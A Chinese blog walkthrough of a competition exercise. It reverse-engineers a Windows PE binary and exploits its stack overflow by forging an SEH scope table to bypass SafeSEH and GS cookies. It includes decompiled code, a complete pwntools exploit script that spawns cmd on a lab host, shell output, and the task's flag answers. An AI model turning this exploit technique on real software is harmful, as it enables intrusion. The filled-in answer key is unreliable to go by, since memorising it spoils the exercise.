Windows PE 文件的缓冲区溢出漏洞分析与利用

任务内容:

  1. 从靶机服务器场景1 的FTP 服务器中下载可执行文件windows_pe_05 以及渗透测试脚本windows_pe_05,通过攻击机调试工具,对以上可执行文件windows_pe_05 进行逆向分析,并利用逆向分析的结果,完善渗透测试脚本windows_pe_05,补充该脚本当中空缺的FLAG01 字符串,并将该字符串通过MD5运算后返回哈希值的十六进制结果作为Flag 值提交(形式:十六进制字符串);
  2. 继续完善本任务第1 题中的渗透测试脚本,补充该脚本当中空缺的FLAG02 字符串,将该字符串通过MD5 运算后返回哈希值的十六进制结果作为Flag 值提交(形式:十六进制字符串);
  3. 继续完善本任务第1 题中的渗透测试脚本,补充该脚本当中空缺的FLAG03 字符串,将该字符串通过MD5 运算后返回哈希值的十六进制结果作为Flag 值提交(形式:十六进制字符串);
  4. 继续完善本任务第1 题中的渗透测试脚本,补充该脚本当中空缺的FLAG04 字符串,将该字符串通过MD5 运算后返回哈希值的十六进制结果作为Flag 值提交(形式:十六进制字符串);
  5. 继续完善本任务第1 题中的渗透测试脚本,补充该脚本当中空缺的FLAG05 字符串,将该字符串通过MD5 运算后返回哈希值的十六进制结果作为Flag 值提交(形式:十六进制字符串);
  6. 通过Python 或Ruby 解释器执行程序文件windows_pe_05,获得靶机服务器场景2 的最高权限,并打印根路径下的文件FLAG当中完整的字符串的内容,并将该字符串通过MD5 运算后返回哈希值的十六进制结果作为Flag 值提交(形式:十六进制字符串);

解题思路

此题是windows pwn 难度要比通常的linux下的pwn题目难做一点,利用手法大多是通过伪造SEH结构体,再触发异常来getshell。系统主要依靠SEH机制(用户模式、内核模式)和VEH机制(仅支持用户模式)进行异常处理。

从靶机服务器场景1 的FTP 服务器中下载可执行文件windows_pe_05 以及渗透测试脚本windows_pe_05,通过攻击机调试工具,对以上可执行文件windows_pe_05 进行逆向分析,并利用逆向分析的结果,完善渗透测试脚本windows_pe_05,补充该脚本当中空缺的FLAG01 字符串,并将该字符串通过MD5运算后返回哈希值的十六进制结果作为Flag 值提交(形式:十六进制字符串);

通过ftp下载程序,用 IDA 打开程序, 找到 main 函数, 开始分析. 通过分析, 可以知道整个程序比较简单,

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  FILE *v4; // eax
  _DWORD *v5; // ST38_4
  int v6; // [esp-C4h] [ebp-C4h]
  int v7; // [esp-C0h] [ebp-C0h]
  signed int i; // [esp-B8h] [ebp-B8h]
  char v9[128]; // [esp-A0h] [ebp-A0h]
  signed int v10; // [esp-8h] [ebp-8h]

  v10 = 0;
  v3 = (FILE *)_acrt_iob_func(1);
  setvbuf(v3, 0, 4, 0);
  v4 = (FILE *)_acrt_iob_func(0);
  setvbuf(v4, 0, 4, 0);
  puts("ouch! Do not kill me , I will tell you everything");
  printf("stack address = 0x%x\n", v9);
  printf("main address = 0x%x\n", main);
  for ( i = 0; i < 10; ++i )
  {
    puts("Do you want to know more?");
    read_n(v9, 10);
    v7 = strcmp(v9, "yes");
    if ( v7 )
      v7 = -(v7 < 0) | 1;
    if ( v7 )
    {
      v6 = strcmp(v9, "no");
      if ( v6 )
        v6 = -(v6 < 0) | 1;
      if ( !v6 )
        break;
      read_n(v9, 256);
    }
    else
    {
      puts("Where do you want to know");
      v5 = (_DWORD *)sub_401060();
      printf("Address 0x%x value is 0x%x\n", v5, *v5);
    }
  }
  v10 = -2;
  puts("I can tell you everything, but I never believe 1+1=2");
  puts("AAAA, you kill me just because I don't think 1+1=2??");
  exit(0);
}

首先程序程序会输出 main 函数的地址和 buff 的地址, 这样我们就不用考虑 ASLR 和 栈地址随机的问题了。

审计之后发现 , 这里会发生缓冲区溢出read_n(v9, 256); ,能够覆盖到ebp的位置,因为当输入的不是 yes 也不是 no 时, 会再次要求输入, 这次的输入长度为 256, 但 buff 只有 128 字节

注意这里main的汇编里内置了shell

.text:00401367                 mov     dword ptr [ebp-4], 0FFFFFFFEh
.text:0040136E
.text:0040136E loc_40136E:                             ; CODE XREF: _main+296↑j
.text:0040136E                 push    offset aICanTellYouEve ; "I can tell you everything, but I never "...
.text:00401373                 call    ds:puts
.text:00401379                 add     esp, 4
.text:0040137C                 mov     ecx, [ebp-0CCh]
.text:00401382                 add     ecx, [ebp-0D0h]
.text:00401388                 cmp     ecx, 3
.text:0040138B                 jnz     short loc_40139B
.text:0040138D                 push    offset Command  ; "cmd"
.text:00401392                 call    ds:system
.text:00401398                 add     esp, 4
.text:0040139B
.text:0040139B loc_40139B:                             ; CODE XREF: _main+2DB↑j

看代码可以知道, 这里有个 SEH, 首先会想到用 system(“cmd”) 的地址通过缓冲区溢出覆盖 SEH 的 Handler, 然后通过在 GetTargetAddress 输入一个大数, 导致其访问无效内存引发异常, 进而执行 Handler. 但是这里是行不通的, 因为 本程序开启了 SafeSEH 。 SafeSEH的基本原理很简单,即在调用异常处理函数之前,对要调用的异常处理函数进行一系列的有效性校验,如果发现异常处理函数不可靠(被覆盖了,被篡改了),立即终止异常处理函数的调用。不过SafeSEH需要编译器和系统双重支持,缺少一个则保护能力基本就丧失了。

回到 main 开头, 可以看到构造的 SEHmain安装了异常捕获机制,而且栈溢出恰好可以控制SEH

.text:004010B0                 push    ebp
.text:004010B1                 mov     ebp, esp
.text:004010B3                 push    0FFFFFFFEh
.text:004010B5                 push    offset stru_403688       ; ScopeTable
.text:004010BA                 push    offset __except_handler4 ; _except_handler4
.text:004010BF                 mov     eax, large fs:0
.text:004010C5                 push    eax
.text:004010C6                 add     esp, 0FFFFFF40h
.text:004010CC                 mov     eax, ___security_cookie
.text:004010D1                 xor     [ebp-8], eax             ;用 cookie 异或 scope table
.text:004010D4                 xor     eax, ebp
.text:004010D6                 mov     [ebp-1Ch], eax           ; 保存 GS
.text:004010D9                 push    ebx
.text:004010DA                 push    esi
.text:004010DB                 push    edi
.text:004010DC                 push    eax
.text:004010DD                 lea     eax, [ebp-10h]
.text:004010E0                 mov     large fs:0, eax
.text:004010E6                 mov     [ebp-18h], esp
.text:004010E9                 mov     dword ptr [ebp-0B8h], 0

VC 的 SEH 布局大致如下


                                                   Scope Table
                                              +-------------------+
                                              |  GSCookieOffset   |
                                              +-------------------+
                                              | GSCookieXorOffset |
                                              +-------------------+
                EH4 Stack                     |  EHCookieOffset   |
          +-------------------+               +-------------------+
High      |      ......       |               | EHCookieXorOffset |
          +-------------------+               +-------------------+
ebp       |        ebp        |   +----------->  EncloseingLevel  <--+-> 0xFFFFFFFE
          +-------------------+   | Level 0   +-------------------+  |
ebp - 04h |     TryLevel      +---+           |     FilterFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 08h |    Scope Table    |   |           |    HandlerFunc    |  |
          +-------------------+   |           +-------------------+  |
ebp - 0Ch | ExceptionHandler  |   +----------->  EncloseingLevel  +--+-> 0x00000000
          +-------------------+     Level 1   +-------------------+
ebp - 10h |       Next        |               |     FilterFunc    |
          +-------------------+               +-------------------+
ebp - 14h | ExceptionPointers +----+          |    HandlerFunc    |
          +-------------------+    |          +-------------------+
ebp - 18h |        esp        |    |
          +-------------------+    |            ExceptionPointers
Low       |      ......       |    |          +-------------------+
          +-------------------+    +---------->  ExceptionRecord  |
                                              +-------------------+
                                              |   ContextRecord   |
                                              +-------------------+

如果没有SAFESEH,我们可以直接更改handler来拿到shell,但是有了这层保护,我们则需要想办法绕过它,SAFESEH会对handler进行检查,看看是否在__safe_se_handler_table里面,如果不在就不会执行。

很显然后门地址是肯定不在其中的,那么接下来我们分析它的handler—-__except_handler4

查看处理SHE的vcruntime140.dll

这里的 Handler 函数就是 *except_handler4, 里面只是添加 CookieCheckFunc 和 SecurityCookie 两个参数, 然后调用了 VCRUNTIME140!*except_handler4_common. 下面是 VCRUNTIME140!_except_handler4_common的伪码:

void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
    unsigned int v3; // esi@2
    unsigned int v4; // esi@3
 
    if ( scopeTable->GSCookieOffset != -2 )
    {
        v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
        __guard_check_icall_fptr(cookieCheckFunction);
        ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
    }
    v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
    __guard_check_icall_fptr(cookieCheckFunction);
    ((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
 
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
    // 异或解密 scope table
    scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));
 
    // sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
    framePointer = (char *)(sehFrame + 16);
    scopeTable = scopeTable_1;
 
    // 验证 GS
    ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
    __except_validate_context_record(context);
 
    if ( exceptionRecord->ExceptionFlags & 0x66 )
    {
        ......
    }
    else
    {
        exceptionPointers.ExceptionRecord = exceptionRecord;
        exceptionPointers.ContextRecord = context;
        tryLevel = *(_DWORD *)(sehFrame + 12);
        *(_DWORD *)(sehFrame - 4) = &exceptionPointers;
        if ( tryLevel != -2 )
        {
            while ( 1 )
            {
                v8 = tryLevel + 2 * (tryLevel + 2);
                filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
                scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
                encloseingLevel = scopeTableRecord->EnclosingLevel;
                scopeTableRecord_1 = scopeTableRecord;
                if ( filterFunc )
                {
                    // 调用 FilterFunc
                    filterFuncRet = _EH4_CallFilterFunc(filterFunc);
                    ......
                    if ( filterFuncRet > 0 )
                    {
                        ......
                        // 调用 HandlerFunc
                        _EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
                        ......
                    }
                }
                ......
                tryLevel = encloseingLevel;
                if ( encloseingLevel == -2 )
                    break;
                scopeTable_1 = scopeTable;
            }
            ......
        }
    }
  ......
}

以看到, 里面有两个地方, 一个地方调用了 scope table 里的 FilterFunc 函数, 一个地方调用了 HandlerFunc 函数. scope table 是被放在 SEH Handler 后面的, 这里我们可以伪造一个 scope table, 把里面的 FilterFunc 或者 HandlerFunc 函数改为 system(“cmd'”) 的地址, 然后把这个伪造的 scope table 通过溢出覆盖掉原 scope table. 程序提供给我们v9在栈上的地址和main函数的地址

首先我们要__security_cookie的值,它的地址可以通过相对于main函数的偏移计算出来。

但是其还有一个ValidateLocalCookies验证,要求*(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset]的值必须为__security_cookie,通常计算可得该值的地址,所以在溢出的时候我们只要提前设置好该值就行。

接下来是 poc 需要填的空

def FLAG01(addr):
    sh.recvuntil('Do you want to know more?')
    sh.sendline('yes')
    sh.recvuntil('Where do you want to know')
    sh.sendline(str(addr))
    sh.recvuntil('value is ')
    return int(sh.recvline(), 16)

FLAG01送分题:这里是定义了一个问程序通过地址要值的方法,通过后文的security_cookie = get_value(main_address + FLAG02) 确定这个函数名为:

get_value

根据程序已经提供给我们的信息,下面描述具体攻击流程:

  • 泄露___security_cookie,它的地址可以通过相对于main函数的偏移计算出来:main_addr+0x2f54即为12116

.text:004010B0 _main           proc near               ; CODE XREF: __scrt_common_main_seh(void)+F3↓p
.text:004010B0                                         ; DATA XREF: _main+B6↓o ...
.text:004010B0                 push    ebp
.text:004010B1                 mov     ebp, esp
.text:004010B3                 push    0FFFFFFFEh
.text:004010B5                 push    offset stru_403688
.text:004010BA                 push    offset __except_handler4
...
...
.data:00404000 _data           segment dword public 'DATA' use32
.data:00404000                 assume cs:_data
.data:00404000                 ;org 404000h
.data:00404000 dword_404000    dd 44BF19B1h            ; DATA XREF: ___report_gsfailure+E3↑r
.data:00404000                                         ; ___security_init_cookie+29↑w ...
.data:00404004 ___security_cookie dd 0BB40E64Eh        ; DATA XREF: sub_401060+6↑r
.data:00404004                                         ; _main+1C↑r ...

0x00404004-0x004010B0=0x2f54

security_cookie = get_value(main_address + 12116)
#FLAG02=12116
  • 泄露_EXCEPTION_REGISTRATION_RECORD结构体中Next成员:ebp-0x10stack偏移为D4
next_addr = stack_addr + 212
#FLAG03=212
  • 泄露GS的值,它的地址在ebp-0x1c,可以通过&v9偏移计算出来,也可以通过 (stack+9c) ^ Security Cookie 得到
p32((stack_addr + FLAG04) ^ security_cookie)
#FLAG04=156
  • 把里面的 HandlerFunc 函数改为 system(“cmd'”) 的地址 和main_address的偏移为0x9B0
p32(main_address + FLAG05)
  • 伪造hardler结构体

脚本已经给出了伪造的SCOPETABLE

#FLAG05=944
 SCOPETABLE = [
    0x0FFFFFFFE,
    0,
    0x0FFFFFFCC,
    0,
    0xFFFFFFFE,
    main_address + 733,

]

填入以上攻击流程构造最终的payload。

payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16

其实这个payload基本已经完成了 补上FLAG数值即可。

完成后的整个攻击脚本如下:

#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.arch = 'i386'
sh = remote('192.168.119.145', 4444)
def get_value(addr):
    sh.recvuntil('Do you want to know more?')
    sh.sendline('yes')
    sh.recvuntil('Where do you want to know')
    sh.sendline(str(addr))
    sh.recvuntil('value is ')
    return int(sh.recvline(), 16)

sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))
security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))
# pause()
sh.sendline('n')
next_addr = stack_addr + 212
log.success('next_addr: ' + hex(next_addr))
SCOPETABLE = [
    0x0FFFFFFFE,

    0,

    0x0FFFFFFCC,

    0,

    0xFFFFFFFE,

    main_address + 733,

]
payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
log.success('payload: ' + payload)
sh.sendline(payload)
sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()

运行脚本获得shell

 python Exploit_win.py 
[+] Opening connection to 192.168.119.145 on port 4444: Done
[+] stack_addr: 0x2cf6c4
[+] main_address: 0x3910b0
[+] security_cookie: 0x7ec33871
[+] next_addr: 0x2cf798
[+] payload: aaaaaaaaaaaaaaaa\xfe\xff\xff\xff\x00\x00��\xff\xff\x00\x00\xfe\xff\xff\xff\x8d\x13\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x11�~cccccccccccccccccccccccccccccccc\x98�,`\x14\x00��~\x00\x00bbbbbbbbbbbbbbbb
[*] Switching to interactive mode




C:\windows\system32>$ cd ..
cd ..

C:\Windows>$ cd ..
cd ..

C:\>$ dir
dir


















C:\>$ type FLAG
type FLAG

C:\>$  

这里可能应答字符看不到 ,没有关系 实际在tcp中是可以看到的,我们用wireshark抓个包追踪下即可

ouch! Do not kill me , I will tell you everything
stack address = 0x2cf6c4
main address = 0x3910b0
Do you want to know more?
yes
Where do you want to know
3751940
Address 0x394004 value is 0x7ec33871
Do you want to know more?
n
aaaaaaaaaaaaaaaa......................9.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...~cccccccccccccccccccccccccccccccc..,.`.9....~....bbbbbbbbbbbbbbbb
yes
Do you want to know more?
Where do you want to know
0
Microsoft Windows [.... 6.1.7601]
........ (c) 2009 Microsoft Corporation................

C:\windows\system32>cd ..
cd ..

C:\Windows>cd ..
cd ..

C:\>dir
dir
 ...... C ................
 ............ EEE9-657A

 C:\ ......

2022/07/15  15:55                17 FLAG
2022/02/17  10:37    <DIR>          inetpub
2022/07/11  16:05    <DIR>          pe
2009/07/14  11:20    <DIR>          PerfLogs
2022/07/15  16:03    <DIR>          Program Files
2022/02/17  15:05    <DIR>          Program Files (x86)
2020/12/18  16:24    <DIR>          sh
2021/04/25  14:55    <DIR>          Users
2022/02/17  15:22    <DIR>          Windows
2022/02/17  16:47    <DIR>          www
               1 ......             17 ....
               9 ...... 32,543,506,432 ........

C:\>type FLAG
type FLAG
FLAG{ZLbabystack}
C:\>

最终答案

FLAG{ZLbabystack}
觉得有帮助可以投喂下博主哦~感谢!
作者:明弟有理想
版权声明: 本站所有文章,如无特殊说明或标注,均为本站原创发布。转载请注明文章地址及作者。
如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。
文章声明:
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。请注意,本文并非文学作品,请勿过度理解。请大家自觉遵守《网络安全法》,感谢您的理解与支持!
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇